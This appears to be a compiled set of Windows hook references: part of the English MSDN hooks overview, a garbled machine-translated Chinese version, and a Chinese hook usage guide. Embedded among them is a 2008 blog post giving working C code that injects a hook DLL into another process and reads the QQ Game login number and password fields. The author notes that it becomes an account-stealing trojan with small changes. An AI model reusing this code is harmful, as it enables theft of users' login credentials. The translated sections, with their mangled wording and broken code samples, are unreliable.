The WH_FOREGROUNDIDLE hook enables you to perform low priority tasks during times when its
foreground thread is idle. The system calls a WH_FOREGROUNDIDLE hook procedure when the application's
foreground thread is about to become idle. 
For more information, see the ForegroundIdleProc callback function. 
WH_GETMESSAGE 
The WH_GETMESSAGE hook enables an application to monitor messages about to be returned by
the GetMessage or PeekMessage function. You can use the WH_GETMESSAGEhook to monitor mouse and
keyboard input and other messages posted to the message queue. 
For more information, see the GetMsgProc callback function. 
WH_JOURNALPLAYBACK 
The WH_JOURNALPLAYBACK hook enables an application to insert messages into the system message queue.
You can use this hook to play back a series of mouse and keyboard events recorded earlier by
using WH_JOURNALRECORD. Regular mouse and keyboard input is disabled as long as
a WH_JOURNALPLAYBACK hook is installed. AWH_JOURNALPLAYBACK hook is a global hook—it
cannot be used as a thread-specific hook. 
The WH_JOURNALPLAYBACK hook returns a time-out value. This value tells the system how many
milliseconds to wait before processing the current message from the playback hook. This enables the hook to
control the timing of the events it plays back. 
For more information, see the JournalPlaybackProc callback function. 
WH_JOURNALRECORD 
The WH_JOURNALRECORD hook enables you to monitor and record input events. Typically, you use this
hook to record a sequence of mouse and keyboard events to play back later by using WH_JOURNALPLAYBACK.
The WH_JOURNALRECORD hook is a global hook—it cannot be used as a thread-specific hook. 
For more information, see the JournalRecordProc callback function. 
WH_KEYBOARD_LL 
The WH_KEYBOARD_LL hook enables you to monitor keyboard input events about to be posted in a thread
input queue. 
For more information, see the LowLevelKeyboardProc callback function. 
WH_KEYBOARD 
The WH_KEYBOARD hook enables an application to monitor message traffic
for WM_KEYDOWN and WM_KEYUP messages about to be returned by
the GetMessage orPeekMessage function. You can use the WH_KEYBOARD hook to monitor keyboard input
posted to a message queue. 
For more information, see the KeyboardProc callback function. 
WH_MOUSE_LL 
The WH_MOUSE_LL hook enables you to monitor mouse input events about to be posted in a thread input
queue. 
For more information, see the LowLevelMouseProc callback function. 
WH_MOUSE 
The WH_MOUSE hook enables you to monitor mouse messages about to be returned by
the GetMessage or PeekMessage function. You can use the WH_MOUSE hook to monitor mouse input posted to
a message queue. 
For more information, see the MouseProc callback function. 
WH_MSGFILTER and WH_SYSMSGFILTER 
The WH_MSGFILTER and WH_SYSMSGFILTER hooks enable you to monitor messages about to be
processed by a menu, scroll bar, message box, or dialog box, and to detect when a different window is about to be
activated as a result of the user's pressing the ALT+TAB or ALT+ESC key combination. 
The WH_MSGFILTER hook can only monitor messages passed to a menu, scroll bar, message box, or dialog 
box created by the application that installed the hook procedure. The WH_SYSMSGFILTER hook monitors such
messages for all applications. 
The WH_MSGFILTER and WH_SYSMSGFILTER hooks enable you to perform message filtering during
modal loops that is equivalent to the filtering done in the main message loop. For example, an application often
examines a new message in the main loop between the time it retrieves the message from the queue and the time it
dispatches the message, performing special processing as appropriate. However, during a modal loop, the system
retrieves and dispatches messages without allowing an application the chance to filter the messages in its main
message loop. If an application installs a WH_MSGFILTER or WH_SYSMSGFILTER hook procedure, the
system calls the procedure during the modal loop. 
An application can call the WH_MSGFILTER hook directly by calling the CallMsgFilter function. By using this
function, the application can use the same code to filter messages during modal loops as it uses in the main
message loop. To do so, encapsulate the filtering operations in a WH_MSGFILTER hook procedure and
callCallMsgFilter between the calls to the GetMessage and DispatchMessage functions. 
Copy
while (GetMessage(&msg, (HWND) NULL, 0, 0)) 

    if (!CallMsgFilter(&qmsg, 0)) 
        DispatchMessage(&qmsg); 
}  
The last argument of CallMsgFilter is simply passed to the hook procedure; you can enter any value. The hook
procedure, by defining a constant such asMSGF_MAINLOOP, can use this value to determine where the
procedure was called from. 
For more information, see the MessageProc and SysMsgProc callback functions. 
WH_SHELL 
A shell application can use the WH_SHELL hook to receive important notifications. The system calls
a WH_SHELL hook procedure when the shell application is about to be activated and when a top-level window is
created or destroyed. 
Note that custom shell applications do not receive WH_SHELL messages. Therefore, any application that
registers itself as the default shell must call theSystemParametersInfo function before it (or any other application)
can receive WH_SHELL messages. This function must be called with SPI_SETMINIMIZEDMETRICS and
a MINIMIZEDMETRICS structure. Set the iArrange member of this structure to ARW_HIDE. 
For more information, see the ShellProc callback function. 


 
钩子概述 MSDN <中> 
一个钩是一种机制,使应用程序可以拦截事件,如邮件,鼠标操作和键盘敲击。一个功能,它可以拦截特
定类型的事件被称为一个钩子程序。钩子程序可以作用于它接收到的每个事件,然后修改或放弃的事件。 
下面的一些例子使用钩子: 
 调试的目的监视消息 
 提供支持宏的录制和播放 
 提供支持,帮助键(F1) 
 模拟鼠标和键盘输入。 
 实现基于计算机的培训(CBT)的应用 
注   挂钩往往会拖慢系统,因为它们增加了系统处理量必须执行的每个消息。你应该安装一个挂钩,只在
必要时,并尽快将其删除。 
本节将讨论以下内容: 
钩链 
 钩链 
 钩子程序 
 钩子类型 
o WH_CALLWNDPROC 和 WH_CALLWNDPROCRET 
o WH_CBT 
o WH_DEBUG 
o WH_FOREGROUNDIDLE 
o WH_GETMESSAGE 
o WH_JOURNALPLAYBACK 
o WH_JOURNALRECORD 
o WH_KEYBOARD_LL 
o WH_KEYBOARD 
o WH_MOUSE_LL 
o WH_MOUSE 
o WH_MSGFILTER 和 WH_SYSMSGFILTER 
o WH_SHELL 
该系统支持多种不同类型的钩子;每个类型提供访问其消息处理机制的一个不同方面。例如,一个应用程序
可以使用 WH_MOUSE 钩子来监视鼠标消息的消息流量。 
该系统保持一个单独的钩链,为每种类型的钩子。一个 钩子链是一个特殊的,应用程序定义的回调函数称
为钩子程序的指针列表 。当一个消息发生,是与特定类型的钩子,该系统将消息传递到每个钩子程序中引
用的钩链,一前一后。一个钩子程序可以采取的行动取决于所涉及的类型的钩子。对于某些类型的钩子只
能监视钩子程序的消息,其他人可以修改消息或停止其进展情况,通过连锁经营,防止他们到达下一个钩
子程序或目标窗口。 
钩子程序 
若要利用一种特定类型的钩,显影剂提供了一个钩子程序,并使用调用 SetWindowsHookEx 函数,把它安
装到钩与链。一个钩子过程必须有下面的语法: 
复制
LRESULT CALLBACK HOOKPROC(
  诠释 nCode,  
  WPARAM wParam 参数, 
  LPARAM lParam 的

{
   / /处理事件
   ...


   返回 CallNextHookEx(NULL,nCode,WPARAM,LPARAM);

,HOOKPROC 是一个占位符,一个应用程序定义的名称。 
nCode 参数是一个钩子,钩子程序代码用来确定要执行的操作。钩码的值依赖于类型的钩子,每个类型都
有其自身的特点的钩码。的 wParam 和 lParam 的参数的值 依赖于钩码,但它们通常包含的信息已发送或发
布有关消息。 
调用 SetWindowsHookEx 函数总是安装一个钩子程序,在开始的钩链。当事件发生时,监视一个特定类型
的钩,系统调用的过程,在与钩的钩链的开头。链中的每一个钩子程序决定是否传递事件到下一个程序。
一个钩子程序事件传递到下一个程序通过调用 CallNextHookEx 函数。 
请注意,某些类型的钩子的钩程序只能监视消息。系统将消息传递到每一个钩子程序,而不管是否一个特
定的过程调用 CallNextHookEx。 
一个 全局钩子监视在同一桌面的所有线程调用线程的消息。一个 特定于线程的钩子监视的消息只有一个独
立的线程。在与调用线程在同一桌面的任何应用程序的情况下,可以被称为一个全局钩子程序,所以程序
必须是在一个单独的 DLL 模块。只有在上下文相关的线程被称为线程特定的钩子程序。如果一个应用程序
安装了一个自己的线程钩子程序,钩子程序可以在相同的模块作为应用程序代码的其余部分,或在一个 DLL。
如果应用程序安装不同的应用程序的线程为一个钩子程序,该程序必须在 DLL 中。如需详细资讯,请参阅
动态链接库。 
请注意    ,您应该使用全局钩子仅用于调试目的,否则,你应该避免使用它们。全局钩子伤害执行相同类
型的全局钩子与其它的应用程序的系统的性能,从而导致冲突。 
钩子类型 
每种类型的钩子使应用程序监控系统的消息处理机制的不同方面。以下各节描述了可用的钩子。 
 WH_CALLWNDPROC 和 WH_CALLWNDPROCRET 
 WH_CBT 
 WH_DEBUG 
 WH_FOREGROUNDIDLE 
 WH_GETMESSAGE 
 WH_JOURNALPLAYBACK 
 WH_JOURNALRECORD 
 WH_KEYBOARD_LL 
 WH_KEYBOARD 
 WH_MOUSE_LL 
 WH_MOUSE 
 WH_MSGFILTER 和 WH_SYSMSGFILTER 
 WH_SHELL 
WH_CALLWNDPROC 和 WH_CALLWNDPROCRET 
的 WH_CALLWNDPROC 和 WH_CALLWNDPROCRET 挂钩的使您可以监视发送到窗口过程的消息。
系统调用 WH_CALLWNDPROC 钩子程序消息传递到接收窗口过程之前,调用
WH_CALLWNDPROCRET 钩子程序,窗口过程处理的消息后。 
WH_CALLWNDPROCRET 钩传递一个指针,指向一个 CWPRETSTRUCT 结构的钩子程序。该结构包含
返回值的窗口过程处理的消息,以及与消息关联的消息参数。子类化窗口不能正常工作进程之间的消息。 
欲了解更多信息,请参阅 CallWndProc 和 CallWndRetProc 回调函数。 
WH_CBT 
系统前,调用 WH_CBT 钩子程序,激活,创建,销毁,最小化,最大化,移动,调整大小的窗口;完成系
统命令之前,从系统消息队列中移除鼠标或键盘事件之前,前设置输入焦点;或同步系统消息队列中。挂钩
函数返回的值确定系统是否允许或阻止这些操作之一。WH_CBT 钩的目的主要是基于计算机的培训(CBT)
的应用。 
有关详细信息,请参阅回调函数的 CBTProc。 
如需详细资讯,请参阅 WinEvents。 
WH_DEBUG 
系统调用 WH_DEBUG 钩子程序,然后再调用钩子程序与系统中的任何其他挂钩。您可以使用这个钩子来
决定是否允许系统调用钩子程序,与其他类型的钩子。 
有关详细信息,请参阅回调函数的 DebugProc。 
WH_FOREGROUNDIDLE 
WH_FOREGROUNDIDLE 钩时,前台线程处于空闲状态时,它使您能够执行低优先级任务。当应用程序
的前台线程即将成为闲置的系统调用 WH_FOREGROUNDIDLE 钩子程序。 
有关详细信息,请参阅回调函数的 ForegroundIdleProc。 
WH_GETMESSAGE 
WH_GETMESSAGE 钩子使应用程序监控的信息由 GetMessage 函数或 PeekMessage 的功能的返回。您可
以使用 WH_GETMESSAGE 钩子监视鼠标和键盘输入等发布的消息到消息队列。 
有关详细信息,请参阅的 GetMsgProc 回调函数。 
WH_JOURNALPLAYBACK 
WH_JOURNALPLAYBACK 钩子使应用程序进入系统的消息队列中插入消息。您可以使用这个钩子来播
放一个系列的鼠标和键盘事件记录使用 WH_JOURNALRECORD。常规的鼠标和键盘输入被禁用,只要安
装一个 WH_JOURNALPLAYBACK 钩。甲 WH_JOURNALPLAYBACK 钩子是一个全球性的钩,它不能
被用作线程特定的钩子。 
WH_JOURNALPLAYBACK 钩子返回一个超时值。这个值告诉系统处理当前消息从播放钩之前要等待多
少毫秒。这使钩控制的定时事件回放。 
有关详细信息,请参阅回调函数的 JournalPlaybackProc。 
WH_JOURNALRECORD 
WH_JOURNALRECORD 钩,您可以监视和记录输入事件。通常情况下,你可以使用这个钩子记录一系
列的鼠标和键盘事件,使用 WH_JOURNALPLAYBACK 播放。WH_JOURNALRECORD 钩子是一个全球
性的钩状,它不能被用作线程特定的钩子。 
欲了解更多信息,看到的 JournalRecordProc 的回调函数。 
WH_KEYBOARD_LL 
WH_KEYBOARD_LL 钩,使您可以监控键盘输入事件即将被张贴在一个线程输入队列。 
欲了解更多信息,看到的 LowLevelKeyboardProc 的回调函数。 
WH_KEYBOARD 
WH_KEYBOARD 钩子允许应用程序来监视消息 WM_KEYDOWN 和 WM_KEYUP 消息由 GetMessage
函数或 PeekMessage 的功能的返回流量。您可以使用的的 WH_KEYBOARD 挂钩,监控键盘输入发送到
消息队列中。 
欲了解更多信息,请参阅 KeyboardProc 回调函数。 
WH_MOUSE_LL 
WH_MOUSE_LL 钩可让您监视即将被张贴在一个线程输入队列中的鼠标输入事件。 
有关详细信息,请参阅回调函数的 LowLevelMouseProc。 
WH_MOUSE 
WH_MOUSE 钩,您可以监视由 GetMessage 函数或 PeekMessage 的功能的返回的鼠标消息。您可以使用
WH_MOUSE 钩子来监视鼠标输入发送到消息队列中。 
欲了解更多信息,请参阅 MouseProc 的回调函数。 
WH_MSGFILTER 和 WH_SYSMSGFILTER 
的 WH_MSGFILTER 和 WH_SYSMSGFILTER 钩子让你到监控到被处理的菜单,滚动条,消息框,对话
框的消息,并到检测时,在不同的窗口是约到被激活的用户是按下 ALT,+ TAB 或 ALT + ESC 组合键。
WH_MSGFILTER 钩子只能监视消息传递到菜单,滚动条,消息框,或通过安装钩子程序的应用程序创建
的对话框。WH_SYSMSGFILTER 钩子监视所有的应用程序的消息。 
该 WH_MSGFILTER 和 WH_SYSMSGFILTER 挂钩的,使您可以执行在模态循环,相当于在主消息循环
的过滤邮件过滤。例如,一个应用程序经常检查新的消息,在主循环之间的时间从队列中检索消息的时间
调度信息,进行适当的特殊处理。然而,在一个模式循环,系统检索和发送消息未经允许的应用程序在其
主消息循环中过滤消息的机会。如果一个应用程序安装一个 WH_MSGFILTER 或 WH_SYSMSGFILTER
挂钩的过程中,系统调用的程序在模式循环。 
应用程序可以调用 WH_MSGFILTER 钩,直接调用 CallMsgFilter 功能。通过使用此功能,应用程序可以
使用相同的代码来过滤邮件中的模态循环,因为它使用的主消息循环。要做到这一点,封装在
WH_MSGFILTER 钩子程序,并调用 CallMsgFilter 之间的调用 GetMessage 函数和 DispatchMessage 函数
功能的过滤操作。 
复制
(GetMessage 函数(味精,(HWND)NULL,0,0)) 

    如果(!CallMsgFilter(&qmsg,0)) 
        DispatchMessage 函数(qmsg); 
}  
最后一个参数 CallMsgFilter 是简单地传递给钩子程序,你可以输入任何值。钩子程序,如
MSGF_MAINLOOP 定义一个常量,可以使用这个值来决定的程序调用。 
欲了解更多信息,请参阅 MessageProc 和 SysMsgProc 回调函数。 
WH_SHELL 
一个 shell 应用程序可以使用 WH_SHELL 钩子接收重要的通知。系统调用 WH_SHELL 钩子程序时,外壳
应用程序被激活,当一个顶层窗口被创建或销毁。 
请注意,自定义外壳应用程序不接收 WH_SHELL 消息。因此,任何应用程序,将自身注册为默认的 shell 之
前,必须调用 SystemParametersInfo 函数(或任何其他应用程序)可以接收 WH_SHELL 消息。这个函数
必须调用与 SPI_SETMINIMIZEDMETRICS 和一个 MINIMIZEDMETRICS 的结构。设置这个结构
ARW_HIDE iArrange 成员。 
有关详细信息,请参阅回调函数的 ShellProc。 
 
通过 HOOK 获取 QQ 游戏登录密码 
//通过 HOOK 获取 QQ 游戏登录密码
//by redice 2008.7.19
//[email protected]


不是什么新鲜货了,只是想重温一下钩子及 DLL 的编写...


先发个程序运行效果图:






不得不先说一下 API 函数 SendMessage:


使用 SendMessage 向编辑框窗口发送 WM_GETTEST 消息,可以轻易获取到编辑框的内容(就算这个窗口不属
于同一进程)。
但是有一个特例,那就是当编辑框窗口具有 ES_PASSWORD 风格(即密码输入框)且不输入同一进程时,使
用上面的方法就失效了。
通俗的说,就是当你要使用 SendMessage 读取的密码框不属于同一个进程时,是读取不到任何内容的。
这也许是微软从安全角度考虑做的手脚吧。


如何解决这个问题?
如果我们能将 SendMessage 放到目标进程中执行问题就解决了。因为属于同一个进程时使用 SendMessage
是可以读取到密码框的内容的。
如何将 SendMessage 放到目标进程中执行呢?使用 HOOK(或者进程注入)。


关于钩子(HOOK)


钩子(Hook),是 Windows 消息处理机制的一个平台,应用程序可以在上面设置子程以监视指定窗口的某种
消息,而且所监视的窗口可以是其他进程所创建的。 
当消息到达后,在目标窗口处理函数之前处理它。钩子机制允许应用程序截获处理 window 消息或特定事件。
钩子实际上是一个处理消息的程序段,通过系统调用,把它挂入系统。每当特定的消息发出,在没有到达
目的窗口前,钩子程序就先捕获该消息,亦即钩子函数先得到控制权。


这时钩子函数即可以加工处理(改变)该消息,也可以不作处理而继续传递该消息,还可以强制结束消息
的传递。


如何安装一个钩子?




使用 API 函数 SetWindowsHookEx,原型及参数说明如下
HHOOK SetWindowsHookEx(
int idHook, // 钩子的类型,本例采用 WH_CALLWNDPROC(窗口过程钩子)
HOOKPROC lpfn, // 钩子函数地址(即钩子函数的函数名)
HINSTANCE hMod, // 钩子函数所在的应用程序实例句柄,(本例为 DLL 的句柄)
DWORD dwThreadId // 目标线程 ID,即钩子的宿主线程
);
注意:当最后一个参数为 0 时表示安装的是全局钩子,此时要求钩子函数必须要在 DLL 中。
MSDN 上关于这个函数的说明很详细的。


准备活动做完了。下面是本程序的实现:




(1) GetWindowTextRemote.DLL




该 DLL 导出了一个函数 GetWindowTextRemote,其它应用程序通过调用这个函数就能实现对其它应用程序
密码编辑框内容的读取。


//-------------------------------------------------------
// GetWindowTextRemote
// 插入本 DLL 到远程进程
// 从远程编辑框控件中获取密码
//
// 返回值:读取到的密码字符数
//-------------------------------------------------------
__declspec(dllexport) int GetWindowTextRemote(HWND hWnd, LPSTR lpString)

g_hWnd = hWnd;
//给目标进程安装一个窗口过程钩子
g_hHook = SetWindowsHookEx(WH_CALLWNDPROC,(HOOKPROC)HookProc,
hDll, GetWindowThreadProcessId(hWnd,NULL) );
if( g_hHook==NULL ) {
lpString[0] = '\0'; 
return 0;
}
//注册一个消息,用于通知远程进程读取密码
if (WM_HOOKSPY == 0)
WM_HOOKSPY = RegisterWindowMessage( "WM_HOOKSPY_RK" );


// 向远程进程发送读取消息,触发其读取密码
SendMessage( hWnd,WM_HOOKSPY,0,0 );
strcpy( lpString,g_szPassword );


return strlen(lpString);
}


另一个重要的函数就是钩子过程了:
//-------------------------------------------------------
// HookProc
// 由远程进程执行
//-------------------------------------------------------
#define pCW ((CWPSTRUCT*)lParam)


LRESULT HookProc (
int code, // hook code
WPARAM wParam, // virtual-key code
LPARAM lParam // keystroke-message information
)

//接收到读取密码消息
if( pCW->message == WM_HOOKSPY ) {
MessageBeep(MB_OK);
//读取密码编辑框的内容
SendMessage( g_hWnd,WM_GETTEXT,128,(LPARAM)g_szPassword );
//卸载钩子
UnhookWindowsHookEx(g_hHook );
}
//将消息处理权转让给下一个钩子函数
return CallNextHookEx(g_hHook, code, wParam, lParam);
}


注意:安装 Hook 的进程加载 DLL,别的进程在运行的过程中,由系统在该进程空间注入这个 DLL。所谓注
入就是把 Hook DLL 的执行代码映射到这个进程的内存空间。
虽然进程有若干个,可是该 DLL 的执行代码只有一份。
不同的进程全局 Hook DLL 的执行代码是共享的,可是全局变量并不共享(这样可以实现某种程度的隔离,
对于增进系统的稳定性和安全性是很有必要的)。
 
但是如果全局变量不共享,进程通信就会受限,比如本例中,在目标进程中使用 SendMessage 获取到的密
码如何传递给安装 HOOK 的进程就是一个问题?


解决这个问题的方法就是使用共享节,通过共享节可以使全部变量实现共享。如下所示:


//-------------------------------------------------------
// 共享数据区
// 共享数据区中的数据在 DLL 被映射的进程中都是共享的
//-------------------------------------------------------
#pragma data_seg (".shared")
HWND g_hWnd = 0; //要读取的编辑框控件句柄
HHOOK g_hHook = 0; //HOOK 句柄
UINT WM_HOOKSPY = 0; //自定义消息,通知远程进程读取编辑框控件的内容
char g_szPassword [256] = { '\0' }; //保存编辑框控件的缓存区
#pragma data_seg ()


使用共享节时要添加如下的链接选项:
#pragma comment(linker,"/SECTION:.shared,RWS") 


到此,DLL 的内就结束了。
在此特别感谢 codeproject 的 Robert Kuster,如果不是看了他的《Three Ways to Inject Your Code into
Another Process》,也不会有我的这篇日志。
完整的代码在附件中。




(2)测试程序-获取 QQ 游戏登录密码




接下来就是我们的测试程序了,这个测试程序实现的功能就是“获得 QQ 游戏登录框中的 QQ 号和密码”,
这是一个 MFC 程序,关键代码如下所示:


我为什么不获取 QQ 聊天登录窗口上的密码而要获取 QQ 游戏登录窗口上的 QQ 密码呢?
这是因为 QQ 聊天登录时,QQ 程序做了特殊处理(Nprotect 键盘加密技术),使用 HOOK 也是读取不到密码
的。但 QQ 游戏登录时却没有这样的保护。


//先获取 QQ 游戏登录窗口的句柄,然后遍历子窗口,查找号码输入框和密码输入框
void CGetWindowTextRemoteTestDlg::OnGetremotetext() 
{
HWND parenthwnd=0;
HWND childhwnd=0;
DWORD style=0;
char tempbuf[256]={0};
//获取 QQ 游戏登录窗口句柄
parenthwnd=::FindWindow(NULL,"QQ 游戏"); 
if(parenthwnd)
{
//遍历子窗口,查找 QQ 号和密码输入框
childhwnd=::GetWindow(parenthwnd,GW_CHILD);
childhwnd=::GetWindow(childhwnd,GW_HWNDFIRST);
while(childhwnd)
{
memset(tempbuf,0,256);
::GetClassName(childhwnd,tempbuf,256);
style=::GetWindowLong(childhwnd,GWL_STYLE);
//号码输入框
//远程进程的非密码框内容可以直接采用 SendMessage 发送 WM_GETTEXT 获取到
if(0x50010202==style)//号码输入框的样式是 0x50010202,这是使用 Spy++查看得知的。
{
memset(tempbuf,0,256);
::SendMessage(childhwnd,WM_GETTEXT,256,(LPARAM)tempbuf);
this->SetDlgItemText(IDC_NUMBER,tempbuf); 
}
//密码输入框
//远程进程的密码框内容采用 HOOK WH_CALLWNDPROC 获取
if(0x52010020==style)
{
Getremotetext(childhwnd,tempbuf);
this->SetDlgItemText(IDC_PASSWORD,tempbuf);
}
childhwnd=::GetWindow(childhwnd,GW_HWNDNEXT);
}
}
}
//动态调用 GetWindowTextRemote.DLL 中的 GetWindowTextRemote 函数读取远程进程的密码编辑框内容
int Getremotetext(HWND hwnd,LPSTR tempbuf)
{
typedef int ( *GetWindowTextRemote)(HWND hWnd, LPSTR lpString);
GetWindowTextRemote getwindowtextremote=NULL;
HINSTANCE hDll=0;
int ret=0;
hDll=::LoadLibrary("GetWindowTextRemote.dll");
getwindowtextremote=(GetWindowTextRemote)::GetProcAddress(hDll,"GetWindowTextRemote");
ret=getwindowtextremote(hwnd,tempbuf);
return ret;
}




ok,到这里全部结束了。这个程序做一修改就是个盗号木马。写这篇日志仅作交流,本人不承担任何责任。 


 
hook 使用指南(一) 
1.Hooks 
http://www.21tx.com 2002 年 02 月 25 日 Blog ylb_and_xy 
 hook 指出了系统消息处理机制。利用 hook,可以在应用程序中安装子程序监视系统和进程之间的消息
传递,这个监视过程是在消息到达目的窗口过程之前。
 下面简述 hook,并且解释在 Win32 系统下,如何使用 hook 编程。 
2.About Hooks
  
 hook 将使程序效率降低,因为它们增加了系统必须处理的消息总数。你应该在需要时才使用,并及时删
除它。我将以下面的主题描述 hook。
 Hook Chains(hook 链)
  
    系统支持很多不同类型的 hooks;不同的 hook 提供不同的消息处理机制。比如,应用程序可以使用
WH_MOUSE_hook 来监视鼠标消息的传递。
    系统为不同类型的 hook 提供单独的 hook 链。hook 链是一个指针列表,这个列表的指针指向指定的,
应用程序定义的,被 hook 过程调用的回调函数。当与指定的 hook 类型关联的消息发生时,系统就把这
个消息传递到 hook 过程。一些 hook 过程可以只监视消息,或者修改消息,或者停止消息的前进,避免
这些消息传递到下一个 hook 过程或者目的窗口。 
 Hook Procedures(hook 过程) 
    为了利用特殊的 hook 类型,开发者提供了 hook 过程,使用 SetWindowsHookEx 函数来把 hook
过程安装到关联的 hook 链。hook 过程必须按照以下的语法:
    LRESULT CALLBACK HookProc(
     int nCode, 
     WPARAM wParam, 
     LPARAM lParam
        );
    HookProc 是应用程序定义的名字。
    nCode 参数是 hook 代码,hook 过程使用这个参数来确定任务。这个参数的值依赖于 hook 类型,每
一种 hook 都有自己的 hook 代码特征字符集。wParam 和 lParam 参数的值依赖于 hook 代码,但是它
们的典型值是包含了关于发送或者接收消息的信息。
    SetWindowsHookEx 函数总是在 hook 链的开头安装 hook 过程。当指定类型的 hook 监视的事件发
生时,系统就调用与这个 hook 关联的 hook 链的开头的 hook 过程。每一个 hook 链中的 hook 过程都
决定是否把这个事件传递到下一个 hook 过程。hook 过程传递事件到下一个 hook 过程需要调用 CallNe
xtHookEx 函数。
    有些类型 hook 的 hook 过程只能监视消息,不管是否调用了 CallNextHookEx 函数,系统都把消息
传递到每一个 hook 过程。
    全局 hook 监视同一桌面的所有线程。而特定线程的 hook 只能监视单独的线程。全局 hook 过程可以
被同一桌面的任何应用程序调用,就象调用线程一样,所以这个过程必须和 DLL 模块分开。特定线程 ho
ok 过程只可以被相关线程调用。只有在有调试目的的时候才使用全局 hook,应该避免使用,全局 hook
损害了系统性能。 
 Hook Types 
    每一种类型的 hook 可以使应用程序能够监视不同类型的系统消息处理机制。下面描述所有可以利用的
hook 类型。 
 WH_CALLWNDPROC and WH_CALLWNDPROCRET Hooks 
    WH_CALLWNDPROC and WH_CALLWNDPROCRET Hook 使你可以监视发送到窗口过程的消息。
系统在消息发送到接收窗口过程之前调用 WH_CALLWNDPROC hook 过程,并且在窗口过程处理完消息
之后调用 WH_CALLWNDPROCRET Hook 过程。
    WH_CALLWNDPROCRET Hook 传递指针到 CWPRETSTRUCT 结构,再传递到 hook 过程。CWP
RETSTRUCT 结构包含了来自处理消息的窗口过程的返回值,同样也包括了与这个消息关联的消息参数。 
 WH_CBT Hook 
    在以下事件之前,系统都会调用 WH_CBT Hook 过程,这些事件包括:激活,建立,销毁,最小化,
最大化,移动,改变尺寸等窗口事件;完成系统指令;来自系统消息队列中的移动鼠标,键盘事件;设置
输入焦点事件;同步系统消息队列事件。hook 过程的返回值确定系统是否允许或者防止这些操作中的一
个。 
 WH_DEBUG Hook 
    在系统调用系统中与其他 hook 关联的 hook 过程之前,系统会调用 WH_DEBUG Hook 过程。你可
以使用这个 hook 来决定是否允许系统调用与其他 hook 关联的 hook 过程。 
 WH_FOREGROUNDIDLE Hook 
      当应用程序的前景线程处于空闲状态时,可以使用 WH_FOREGROUNDIDLE Hook 执行低优先级
的任务。当应用程序的前景线程大概要变成空闲状态时,系统就会调用 WH_FOREGROUNDIDLE Hook
过程。 
 WH_GETMESSAGE Hook 
    应用程序使用 WH_GETMESSAGE Hook 来监视从 GetMessage or PeekMessage 函数返回的消
息。你可以使用 WH_GETMESSAGE Hook 去监视鼠标和键盘输入,以及其他发送到消息队列中的消息。 
 WH_JOURNALPLAYBACK Hook 
    WH_JOURNALPLAYBACK Hook 使应用程序可以插入消息到系统消息队列。可以使用这个 hook 回
放通过使用 WH_JOURNALRECORD hook 记录下来的连续的鼠标和键盘事件。只要 WH_JOURNALPL
AYBACK hook 已经安装,正常的鼠标和键盘事件就是无效的。WH_JOURNALPLAYBACK hook 是全
局 hook,它不能象线程特定 hook 一样使用。WH_JOURNALPLAYBACK hook 返回超时值,这个值告
诉系统在处理来自回放 hook 当前消息之前需要等待多长时间(毫秒)。这就使 hook 可以控制实时事件
的回放。 
 WH_JOURNALRECORD Hook 
    WH_JOURNALRECORD Hook 用来监视和记录输入事件。典型的,可以使用这个 hook 记录连续的
鼠标和键盘事件,然后通过使用 WH_JOURNALPLAYBACK Hook 来回放。WH_JOURNALRECORD h
ook 是全局 hook,它不能象线程特定 hook 一样使用。 
 WH_KEYBOARD Hook 
    在应用程序中,WH_KEYBOARD Hook 用来监视 WM_KEYDOWN and WM_KEYUP 消息,这些消
息通过 GetMessage or PeekMessage function 返回。可以使用这个 hook 来监视输入到消息队列中
的键盘消息。 
 WH_KEYBOARD_LL Hook 
    WH_KEYBOARD_LL Hook 监视输入到线程消息队列中的键盘消息。 
 WH_MOUSE Hook 
    WH_MOUSE Hook 监视从 GetMessage or PeekMessage function 返回的鼠标消息。使用这个 h
ook 监视输入到消息队列中的鼠标消息。 
 WH_MOUSE_LL Hook 
    WH_MOUSE_LL Hook 监视输入到线程消息队列中的鼠标消息。 
 WH_MSGFILTER and WH_SYSMSGFILTER Hooks 
    WH_MSGFILTER and WH_SYSMSGFILTER Hooks 使我们可以监视菜单,滚动条,消息框,对话
框消息并且发现用户使用 ALT+TAB or ALT+ESC 组合键切换窗口。WH_MSGFILTER hook 只能监视
传递到菜单,滚动条,消息框的消息,以及传递到通过安装了 hook 过程的应用程序建立的对话框的消息。
WH_SYSMSGFILTER Hook 监视所有应用程序消息。
    WH_MSGFILTER and WH_SYSMSGFILTER Hooks 使我们可以在模式循环期间过滤消息,这等价
于在主消息循环中过滤消息。
    通过调用 CallMsgFilter function 可以直接的调用 WH_MSGFILTER hook。通过使用这个函数,应
用程序能够在模式循环期间使用相同的代码去过滤消息,如同在主消息循环里一样。 
 WH_SHELL Hook 
    外壳应用程序可以使用 WH_SHELL Hook 去接收重要的通知。当外壳应用程序是激活的并且当顶层
窗口建立或者销毁时,系统调用 WH_SHELL Hook 过程。
    按照惯例,外壳应用程序都不接收 WH_SHELL 消息。所以,在应用程序能够接收 WH_SHELL 消息
之前,应用程序必须调用 SystemParametersInfo function 注册它自己。 
3.Using Hooks 
 Installing and Releasing Hook Procedures
  
  可以使用 SetWindowsHookEx function 安装 hook 过程并且指定 hook 类型,指定是否需要把 hook
过程与所有线程关联,或者关联指定的线程,并且指向 hook 过程入口点。
  必须把全局 hook 过程放进 DLL,以和应用程序安装的 hook 过程分开。在应用程序安装 hook 过程之
前,它必须有一个指向 DLL 模块的句柄。为了得到这个句柄,可以在调用 LoadLibrary 函数时使用 DLL
名字参数。在得到这个句柄以后,可以调用 GetProcAddress 函数来得到 hook 过程的指针。最后,使用
SetWindowsHookEx 函数安装 hook 过程地址进应用程序 hook 链。这个过程可以用下面的事例说明:
 HOOKPROC hkprcSysMsg; 
 static HINSTANCE hinstDLL; 
 static HHOOK hhookSysMsg; 
 
 hinstDLL = LoadLibrary((LPCTSTR) "c:\\windows\\sysmsg.dll"); file://loading DLL
 hkprcSysMsg = (HOOKPROC)GetProcAddress(hinstDLL, "SysMessageProc"); file://get add
ress
 hhookSysMsg = SetWindowsHookEx(WH_SYSMSGFILTER,hkprcSysMsg,hinstDLL,0); file:/
/install hook
  
  
  当应用程序不再需要与特定线程相关 hook 时,需要调用 UnhookWindowsHookEx 函数删除相关的 h
ook 过程。对于全局 hook,也需要调用 UnhookWindowsHookEx 函数,但是这个函数不能释放 DLL
包含的 hook 过程。这是因为全局 hook 过程是被所有应用程序进程调用的,这就导致了所有的进程都隐
性的调用了 LoadLibrary 函数。所以必须调用 FreeLibrary 函数释放 DLL。
 Monitoring System Events
  
  下面的例子使用了不同的特定线程 hook 过程去监视系统事件。它示范了怎样使用下面的 hook 过程去处
理事件: 
